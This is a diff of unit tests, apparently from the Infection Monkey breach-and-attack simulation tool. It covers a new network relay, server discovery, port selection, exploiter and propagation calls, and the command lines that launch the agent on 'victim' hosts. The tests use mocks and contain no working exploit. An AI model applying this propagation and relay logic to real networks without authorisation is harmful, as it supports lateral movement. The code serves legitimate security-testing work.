@ -124,7 +125,7 @@ def test_credentials_passed_to_exploiter(run_exploiters):
run_exploiters(mock_puppet, 1)
for call_args in mock_puppet.exploit_host.call_args_list:
assert call_args[0][3].get("credentials") == CREDENTIALS_FOR_PROPAGATION
assert call_args[0][4].get("credentials") == CREDENTIALS_FOR_PROPAGATION
def test_stop_after_callback(exploiter_config, callback, scan_completed, stop, hosts_to_exploit):
@ -143,7 +144,9 @@ def test_stop_after_callback(exploiter_config, callback, scan_completed, stop, h
# Intentionally NOT setting scan_completed.set(); _callback() will set stop
e = Exploiter(MockPuppet(), callback_barrier_count + 2, get_credentials_for_propagation)
e.exploit_hosts(exploiter_config, hosts_to_exploit, 1, stoppable_callback, scan_completed, stop)
e.exploit_hosts(
exploiter_config, hosts_to_exploit, 1, SERVERS, stoppable_callback, scan_completed, stop
)
assert stoppable_callback.call_count == 2

View File

@ -110,6 +110,8 @@ os_windows = "windows"
os_linux = "linux"
SERVERS = ["127.0.0.1:5000", "10.10.10.10:5007"]
@pytest.fixture
def mock_ip_scanner():
@ -134,6 +136,7 @@ class StubExploiter:
exploiters_to_run,
hosts_to_exploit,
current_depth,
servers,
results_callback,
scan_completed,
stop,
@ -171,7 +174,7 @@ def test_scan_result_processing(
subnets=["10.0.0.1", "10.0.0.2", "10.0.0.3"],
)
propagation_config = get_propagation_config(default_agent_configuration, targets)
p.propagate(propagation_config, 1, Event())
p.propagate(propagation_config, 1, SERVERS, Event())
assert len(telemetry_messenger_spy.telemetries) == 3
@ -204,6 +207,7 @@ class MockExploiter:
exploiters_to_run,
hosts_to_exploit,
current_depth,
servers,
results_callback,
scan_completed,
stop,
@ -269,7 +273,7 @@ def test_exploiter_result_processing(
subnets=["10.0.0.1", "10.0.0.2", "10.0.0.3"],
)
propagation_config = get_propagation_config(default_agent_configuration, targets)
p.propagate(propagation_config, 1, Event())
p.propagate(propagation_config, 1, SERVERS, Event())
exploit_telems = [t for t in telemetry_messenger_spy.telemetries if isinstance(t, ExploitTelem)]
assert len(exploit_telems) == 4
@ -310,7 +314,7 @@ def test_scan_target_generation(
subnets=["10.0.0.0/29", "172.10.20.30"],
)
propagation_config = get_propagation_config(default_agent_configuration, targets)
p.propagate(propagation_config, 1, Event())
p.propagate(propagation_config, 1, SERVERS, Event())
expected_ip_scan_list = [
"10.0.0.0",

View File

@ -1,18 +1,9 @@
from unittest.mock import MagicMock
import pytest
from infection_monkey.model import VictimHostFactory
from infection_monkey.network import NetworkAddress
@pytest.fixture
def mock_tunnel():
tunnel = MagicMock()
tunnel.get_tunnel_for_ip = lambda _: "1.2.3.4:1234"
return tunnel
@pytest.fixture(autouse=True)
def mock_get_interface_to_target(monkeypatch):
monkeypatch.setattr(
@ -21,37 +12,18 @@ def mock_get_interface_to_target(monkeypatch):
def test_factory_no_tunnel():
factory = VictimHostFactory(
tunnel=None, island_ip="192.168.56.1", island_port="5000", on_island=False
)
factory = VictimHostFactory(island_ip="192.168.56.1", island_port="5000", on_island=False)
network_address = NetworkAddress("192.168.56.2", None)
victim = factory.build_victim_host(network_address)
assert victim.default_server == "192.168.56.1:5000"
assert victim.ip_addr == "192.168.56.2"
assert victim.default_tunnel is None
assert victim.domain_name == ""
def test_factory_with_tunnel(mock_tunnel):
factory = VictimHostFactory(
tunnel=mock_tunnel, island_ip="192.168.56.1", island_port="5000", on_island=False
)
network_address = NetworkAddress("192.168.56.2", None)
victim = factory.build_victim_host(network_address)
assert victim.default_server == "192.168.56.1:5000"
assert victim.ip_addr == "192.168.56.2"
assert victim.default_tunnel == "1.2.3.4:1234"
assert victim.domain_name == ""
def test_factory_on_island(mock_tunnel):
factory = VictimHostFactory(
tunnel=mock_tunnel, island_ip="192.168.56.1", island_port="99", on_island=True
)
def test_factory_on_island():
factory = VictimHostFactory(island_ip="192.168.56.1", island_port="99", on_island=True)
network_address = NetworkAddress("192.168.56.2", "www.bogus.monkey")
victim = factory.build_victim_host(network_address)
@ -59,14 +31,11 @@ def test_factory_on_island(mock_tunnel):
assert victim.default_server == "1.1.1.1:99"
assert victim.domain_name == "www.bogus.monkey"
assert victim.ip_addr == "192.168.56.2"
assert victim.default_tunnel == "1.2.3.4:1234"
@pytest.mark.parametrize("default_port", ["", None])
def test_factory_no_port(mock_tunnel, default_port):
factory = VictimHostFactory(
tunnel=mock_tunnel, island_ip="192.168.56.1", island_port=default_port, on_island=True
)
def test_factory_no_port(default_port):
factory = VictimHostFactory(island_ip="192.168.56.1", island_port=default_port, on_island=True)
network_address = NetworkAddress("192.168.56.2", "www.bogus.monkey")
victim = factory.build_victim_host(network_address)
@ -74,8 +43,8 @@ def test_factory_no_port(mock_tunnel, default_port):
assert victim.default_server == "1.1.1.1"
def test_factory_no_default_server(mock_tunnel):
factory = VictimHostFactory(tunnel=mock_tunnel, island_ip=None, island_port="", on_island=True)
def test_factory_no_default_server():
factory = VictimHostFactory(island_ip=None, island_port="", on_island=True)
network_address = NetworkAddress("192.168.56.2", "www.bogus.monkey")
victim = factory.build_victim_host(network_address)

View File

@ -0,0 +1,64 @@
import socket
from ipaddress import IPv4Address
from unittest.mock import MagicMock
import pytest
from monkey.infection_monkey.network.relay import (
RELAY_CONTROL_MESSAGE_REMOVE_FROM_WAITLIST,
RelayConnectionHandler,
RelayUserHandler,
TCPPipeSpawner,
)
USER_ADDRESS = "0.0.0.1"
@pytest.fixture
def pipe_spawner():
return MagicMock(spec=TCPPipeSpawner)
@pytest.fixture
def relay_user_handler():
return MagicMock(spec=RelayUserHandler)
@pytest.fixture
def close_socket():
sock = MagicMock(spec=socket.socket)
sock.recv.return_value = RELAY_CONTROL_MESSAGE_REMOVE_FROM_WAITLIST
sock.getpeername.return_value = (USER_ADDRESS, 12345)
return sock
@pytest.fixture
def data_socket():
sock = MagicMock(spec=socket.socket)
sock.recv.return_value = b"some data"
sock.getpeername.return_value = (USER_ADDRESS, 12345)
return sock
def test_control_message_disconnects_user(pipe_spawner, relay_user_handler, close_socket):
connection_handler = RelayConnectionHandler(pipe_spawner, relay_user_handler)
connection_handler.handle_new_connection(close_socket)
relay_user_handler.disconnect_user.assert_called_once_with(IPv4Address(USER_ADDRESS))
def test_connection_spawns_pipe(pipe_spawner, relay_user_handler, data_socket):
connection_handler = RelayConnectionHandler(pipe_spawner, relay_user_handler)
connection_handler.handle_new_connection(data_socket)
pipe_spawner.spawn_pipe.assert_called_once_with(data_socket)
def test_connection_adds_user(pipe_spawner, relay_user_handler, data_socket):
connection_handler = RelayConnectionHandler(pipe_spawner, relay_user_handler)
connection_handler.handle_new_connection(data_socket)
relay_user_handler.add_relay_user.assert_called_once_with(IPv4Address(USER_ADDRESS))

View File

@ -0,0 +1,50 @@
from ipaddress import IPv4Address
from time import sleep
import pytest
from monkey.infection_monkey.network.relay import RelayUserHandler
USER_ADDRESS = IPv4Address("0.0.0.0")
@pytest.fixture
def handler():
return RelayUserHandler()
def test_potential_users_added(handler):
assert not handler.has_potential_users()
handler.add_potential_user(USER_ADDRESS)
assert handler.has_potential_users()
def test_potential_user_removed_on_matching_user_added(handler):
handler.add_potential_user(USER_ADDRESS)
handler.add_relay_user(USER_ADDRESS)
assert not handler.has_potential_users()
def test_potential_users_time_out():
handler = RelayUserHandler(new_client_timeout=0.001)
handler.add_potential_user(USER_ADDRESS)
sleep(0.003)
assert not handler.has_potential_users()
def test_relay_users_added(handler):
assert not handler.has_connected_users()
handler.add_relay_user(USER_ADDRESS)
assert handler.has_connected_users()
def test_relay_users_time_out():
handler = RelayUserHandler(client_disconnect_timeout=0.001)
handler.add_relay_user(USER_ADDRESS)
sleep(0.003)
assert not handler.has_connected_users()

View File

@ -0,0 +1,14 @@
from unittest.mock import MagicMock
from monkey.infection_monkey.network.relay import SocketsPipe
def test_sockets_pipe__name_increments():
sock_in = MagicMock()
sock_out = MagicMock()
pipe1 = SocketsPipe(sock_in, sock_out, None)
assert pipe1.name.endswith("1")
pipe2 = SocketsPipe(sock_in, sock_out, None)
assert pipe2.name.endswith("2")

View File

@ -0,0 +1,42 @@
import pytest
import requests
import requests_mock
from infection_monkey.network.relay.utils import find_server
SERVER_1 = "1.1.1.1:12312"
SERVER_2 = "2.2.2.2:4321"
SERVER_3 = "3.3.3.3:3142"
SERVER_4 = "4.4.4.4:5000"
servers = [SERVER_1, SERVER_2, SERVER_3, SERVER_4]
@pytest.mark.parametrize(
"expected_server,server_response_pairs",
[
(None, [(server, {"exc": requests.exceptions.ConnectionError}) for server in servers]),
(
SERVER_2,
[(SERVER_1, {"exc": requests.exceptions.ConnectionError})]
+ [(server, {"text": ""}) for server in servers[1:]], # type: ignore[dict-item]
),
],
)
def test_find_server(expected_server, server_response_pairs):
with requests_mock.Mocker() as mock:
for server, response in server_response_pairs:
mock.get(f"https://{server}/api?action=is-up", **response)
assert find_server(servers) is expected_server
def test_find_server__multiple_successes():
with requests_mock.Mocker() as mock:
mock.get(f"https://{SERVER_1}/api?action=is-up", exc=requests.exceptions.ConnectionError)
mock.get(f"https://{SERVER_2}/api?action=is-up", text="")
mock.get(f"https://{SERVER_3}/api?action=is-up", text="")
mock.get(f"https://{SERVER_4}/api?action=is-up", text="")
assert find_server(servers) == SERVER_2

View File

@ -0,0 +1,60 @@
from dataclasses import dataclass
from typing import Tuple
import pytest
from infection_monkey.network.info import TCPPortSelector
from infection_monkey.network.ports import COMMON_PORTS
@dataclass
class Connection:
laddr: Tuple[str, int]
@pytest.mark.parametrize("port", COMMON_PORTS)
def test_tcp_port_selector__checks_common_ports(port: int, monkeypatch):
tcp_port_selector = TCPPortSelector()
unavailable_ports = [Connection(("", p)) for p in COMMON_PORTS if p is not port]
monkeypatch.setattr(
"infection_monkey.network.info.psutil.net_connections", lambda: unavailable_ports
)
assert tcp_port_selector.get_free_tcp_port() is port
def test_tcp_port_selector__checks_other_ports_if_common_ports_unavailable(monkeypatch):
tcp_port_selector = TCPPortSelector()
unavailable_ports = [Connection(("", p)) for p in COMMON_PORTS]
monkeypatch.setattr(
"infection_monkey.network.info.psutil.net_connections", lambda: unavailable_ports
)
assert tcp_port_selector.get_free_tcp_port() is not None
def test_tcp_port_selector__none_if_no_available_ports(monkeypatch):
tcp_port_selector = TCPPortSelector()
unavailable_ports = [Connection(("", p)) for p in range(65535)]
monkeypatch.setattr(
"infection_monkey.network.info.psutil.net_connections", lambda: unavailable_ports
)
assert tcp_port_selector.get_free_tcp_port() is None
@pytest.mark.parametrize("common_port", COMMON_PORTS)
def test_tcp_port_selector__checks_common_ports_leases(common_port: int, monkeypatch):
tcp_port_selector = TCPPortSelector()
unavailable_ports = [Connection(("", p)) for p in COMMON_PORTS if p is not common_port]
monkeypatch.setattr(
"infection_monkey.network.info.psutil.net_connections", lambda: unavailable_ports
)
free_port_1 = tcp_port_selector.get_free_tcp_port()
free_port_2 = tcp_port_selector.get_free_tcp_port()
assert free_port_1 == common_port
assert free_port_2 != common_port
assert free_port_2 is not None
assert free_port_2 not in COMMON_PORTS

View File

@ -8,7 +8,7 @@ from infection_monkey.telemetry.messengers.exploit_intercepting_telemetry_messen
)
class MockExpliotTelem(ExploitTelem):
class MockExploitTelem(ExploitTelem):
def __init__(self, propagation_success):
erd = ExploiterResultData()
erd.propagation_success = propagation_success
@ -20,43 +20,43 @@ class MockExpliotTelem(ExploitTelem):
def test_generic_telemetry(TestTelem):
mock_telemetry_messenger = MagicMock()
mock_tunnel = MagicMock()
mock_relay = MagicMock()
telemetry_messenger = ExploitInterceptingTelemetryMessenger(
mock_telemetry_messenger, mock_tunnel
mock_telemetry_messenger, mock_relay
)
telemetry_messenger.send_telemetry(TestTelem())
assert mock_telemetry_messenger.send_telemetry.called
assert not mock_tunnel.set_wait_for_exploited_machines.called
assert not mock_relay.add_potential_user.called
def test_propagation_successful_expliot_telemetry():
def test_propagation_successful_exploit_telemetry():
mock_telemetry_messenger = MagicMock()
mock_tunnel = MagicMock()
mock_expliot_telem = MockExpliotTelem(True)
mock_relay = MagicMock()
mock_exploit_telem = MockExploitTelem(True)
telemetry_messenger = ExploitInterceptingTelemetryMessenger(
mock_telemetry_messenger, mock_tunnel
mock_telemetry_messenger, mock_relay
)
telemetry_messenger.send_telemetry(mock_expliot_telem)
telemetry_messenger.send_telemetry(mock_exploit_telem)
assert mock_telemetry_messenger.send_telemetry.called
assert mock_tunnel.set_wait_for_exploited_machines.called
assert mock_relay.add_potential_user.called
def test_propagation_failed_expliot_telemetry():
def test_propagation_failed_exploit_telemetry():
mock_telemetry_messenger = MagicMock()
mock_tunnel = MagicMock()
mock_expliot_telem = MockExpliotTelem(False)
mock_relay = MagicMock()
mock_exploit_telem = MockExploitTelem(False)
telemetry_messenger = ExploitInterceptingTelemetryMessenger(
mock_telemetry_messenger, mock_tunnel
mock_telemetry_messenger, mock_relay
)
telemetry_messenger.send_telemetry(mock_expliot_telem)
telemetry_messenger.send_telemetry(mock_exploit_telem)
assert mock_telemetry_messenger.send_telemetry.called
assert not mock_tunnel.set_wait_for_exploited_machines.called
assert not mock_relay.add_potential_user.called

View File

@ -16,7 +16,6 @@ HOST_AS_DICT = {
"os": {},
"services": {},
"icmp": False,
"default_tunnel": None,
"default_server": None,
}
EXPLOITER_NAME = "SSHExploiter"

View File

@ -14,7 +14,6 @@ HOST_AS_DICT = {
"os": {},
"services": {},
"icmp": False,
"default_tunnel": None,
"default_server": None,
}
HOST_SERVICES = {}

View File

@ -1,19 +0,0 @@
import json
import pytest
from infection_monkey.telemetry.tunnel_telem import TunnelTelem
@pytest.fixture
def tunnel_telem_test_instance():
return TunnelTelem({})
def test_tunnel_telem_send(tunnel_telem_test_instance, spy_send_telemetry):
tunnel_telem_test_instance.send()
expected_data = {"proxy": None}
expected_data = json.dumps(expected_data, cls=tunnel_telem_test_instance.json_encoder)
assert spy_send_telemetry.data == expected_data
assert spy_send_telemetry.telem_category == "tunnel"

View File

@ -1,16 +0,0 @@
import pytest
from monkey.infection_monkey.control import ControlClient
@pytest.mark.parametrize(
"is_windows_os,expected_proxy_string",
[(True, "http://8.8.8.8:45455"), (False, "8.8.8.8:45455")],
)
def test_control_set_proxies(monkeypatch, is_windows_os, expected_proxy_string):
monkeypatch.setattr("monkey.infection_monkey.control.is_windows_os", lambda: is_windows_os)
control_client = ControlClient("8.8.8.8:5000")
control_client.set_proxies(("8.8.8.8", "45455"))
assert control_client.proxies["https"] == expected_proxy_string

View File

@ -1,5 +1,6 @@
import pytest
from infection_monkey.config import GUID
from infection_monkey.model.host import VictimHost
from infection_monkey.utils.commands import (
build_monkey_commandline,
build_monkey_commandline_explicitly,
@ -12,17 +13,15 @@ def test_build_monkey_commandline_explicitly_arguments():
expected = [
"-p",
"101010",
"-t",
"10.10.101.10",
"-s",
"127.127.127.127:5000",
"127.127.127.127:5000,138.138.138.138:5007",
"-d",
"0",
"-l",
"C:\\windows\\abc",
]
actual = build_monkey_commandline_explicitly(
"101010", "10.10.101.10", "127.127.127.127:5000", 0, "C:\\windows\\abc"
"101010", ["127.127.127.127:5000", "138.138.138.138:5007"], 0, "C:\\windows\\abc"
)
assert expected == actual
@ -46,17 +45,12 @@ def test_get_monkey_commandline_windows():
"m0nk3y",
"-p",
"101010",
"-t",
"10.10.101.10",
"-s",
"127.127.127.127:5000,138.138.138.138:5007",
]
actual = get_monkey_commandline_windows(
"C:\\windows\\abc",
[
"-p",
"101010",
"-t",
"10.10.101.10",
],
["-p", "101010", "-s", "127.127.127.127:5000,138.138.138.138:5007"],
)
assert expected == actual
@ -68,27 +62,30 @@ def test_get_monkey_commandline_linux():
"m0nk3y",
"-p",
"101010",
"-t",
"10.10.101.10",
"-s",
"127.127.127.127:5000,138.138.138.138:5007",
]
actual = get_monkey_commandline_linux(
"/home/user/monkey-linux-64",
[
"-p",
"101010",
"-t",
"10.10.101.10",
],
["-p", "101010", "-s", "127.127.127.127:5000,138.138.138.138:5007"],
)
assert expected == actual
def test_build_monkey_commandline():
example_host = VictimHost(ip_addr="bla")
example_host.set_island_address("101010", "5000")
servers = ["10.10.10.10:5000", "11.11.11.11:5007"]
expected = f" -p {GUID} -s 101010:5000 -d 0 -l /home/bla"
actual = build_monkey_commandline(target_host=example_host, depth=0, location="/home/bla")
expected = f" -p {GUID} -s 10.10.10.10:5000,11.11.11.11:5007 -d 0 -l /home/bla"
actual = build_monkey_commandline(servers=servers, depth=0, location="/home/bla")
assert expected == actual
@pytest.mark.parametrize("servers", [None, []])
def test_build_monkey_commandline_empty_servers(servers):
expected = f" -p {GUID} -d 0 -l /home/bla"
actual = build_monkey_commandline(servers, depth=0, location="/home/bla")
assert expected == actual

View File

@ -5,18 +5,18 @@ def test_maximum_depth_reached__current_less_than_max():
maximum_depth = 2
current_depth = 1
assert maximum_depth_reached(maximum_depth, current_depth) is True
assert maximum_depth_reached(maximum_depth, current_depth) is False
def test_maximum_depth_reached__current_greater_than_max():
maximum_depth = 2
current_depth = 3
assert maximum_depth_reached(maximum_depth, current_depth) is False
assert maximum_depth_reached(maximum_depth, current_depth) is True
def test_maximum_depth_reached__current_equal_to_max():
maximum_depth = 2
current_depth = maximum_depth
assert maximum_depth_reached(maximum_depth, current_depth) is False
assert maximum_depth_reached(maximum_depth, current_depth) is True

View File

@ -1,8 +1,10 @@
import logging
from itertools import zip_longest
from threading import Event, current_thread
from typing import Any
from infection_monkey.utils.threading import (
ThreadSafeIterator,
create_daemon_thread,
interruptible_function,
interruptible_iter,
@ -127,3 +129,11 @@ def test_interruptible_decorator_returns_default_value_on_interrupt():
assert return_value == 777
assert fn.call_count == 0
def test_thread_safe_iterator():
test_list = [1, 2, 3, 4, 5]
tsi = ThreadSafeIterator(test_list.__iter__())
for actual, expected in zip_longest(tsi, test_list):
assert actual == expected

View File

@ -18,7 +18,6 @@ SCAN_DATA_MOCK = [
},
},
"monkey_exe": None,
"default_tunnel": None,
"default_server": None,
},
}

View File

@ -308,6 +308,7 @@ IEventRepository.get_events_by_type
IEventRepository.get_events_by_tag
IEventRepository.get_events_by_source
# pydantic base models
underscore_attrs_are_private
extra